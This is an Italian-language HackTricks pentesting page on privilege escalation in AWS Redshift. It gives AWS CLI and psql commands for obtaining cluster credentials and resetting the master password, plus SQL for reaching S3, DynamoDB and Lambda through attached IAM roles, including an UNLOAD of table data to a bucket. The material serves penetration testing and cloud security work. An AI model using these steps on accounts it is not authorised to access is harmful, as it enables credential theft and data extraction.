AWS - Redshift Privesc

Support HackTricks

Redshift

Per ulteriori informazioni su RDS controlla:

AWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

Con questi permessi puoi ottenere info di tutti i cluster (incluso nome e nome utente del cluster) e ottenere credenziali per accedervi:

# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

Impatto Potenziale: Trova informazioni sensibili all'interno dei database.

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

Con questi permessi puoi ottenere info di tutti i cluster e ottenere credenziali per accedervi. Nota che l'utente postgres avrà i permessi che l'identità IAM utilizzata per ottenere le credenziali ha.

# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

Impatto Potenziale: Trovare informazioni sensibili all'interno dei database.

redshift:DescribeClusters, redshift:ModifyCluster?

È possibile modificare la password principale dell'utente postgres interno (redshit) da aws cli (penso che questi siano i permessi di cui hai bisogno, ma non li ho ancora testati):

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

Impatto Potenziale: Trova informazioni sensibili all'interno dei database.

Accesso ai Servizi Esterni

Per accedere a tutte le risorse seguenti, è necessario specificare il ruolo da utilizzare. Un cluster Redshift può avere assegnata una lista di ruoli AWS che puoi utilizzare se conosci l'ARN oppure puoi semplicemente impostare "default" per utilizzare quello predefinito assegnato.

Inoltre, come spiegato qui, Redshift consente anche di concatenare ruoli (purché il primo possa assumere il secondo) per ottenere ulteriori accessi, ma semplicemente separandoli con una virgola: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Lambdas

Come spiegato in https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, è possibile chiamare una funzione lambda da redshift con qualcosa come:

CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

Come spiegato in https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, è possibile leggere e scrivere nei bucket S3:

# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

Come spiegato in https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, è possibile ottenere dati da dynamodb:

copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

La tabella Amazon DynamoDB che fornisce i dati deve essere creata nella stessa Regione AWS del tuo cluster a meno che tu non utilizzi l'opzione REGION per specificare la Regione AWS in cui si trova la tabella Amazon DynamoDB.

EMR

Controlla https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html

Riferimenti

Supporta HackTricks

Last updated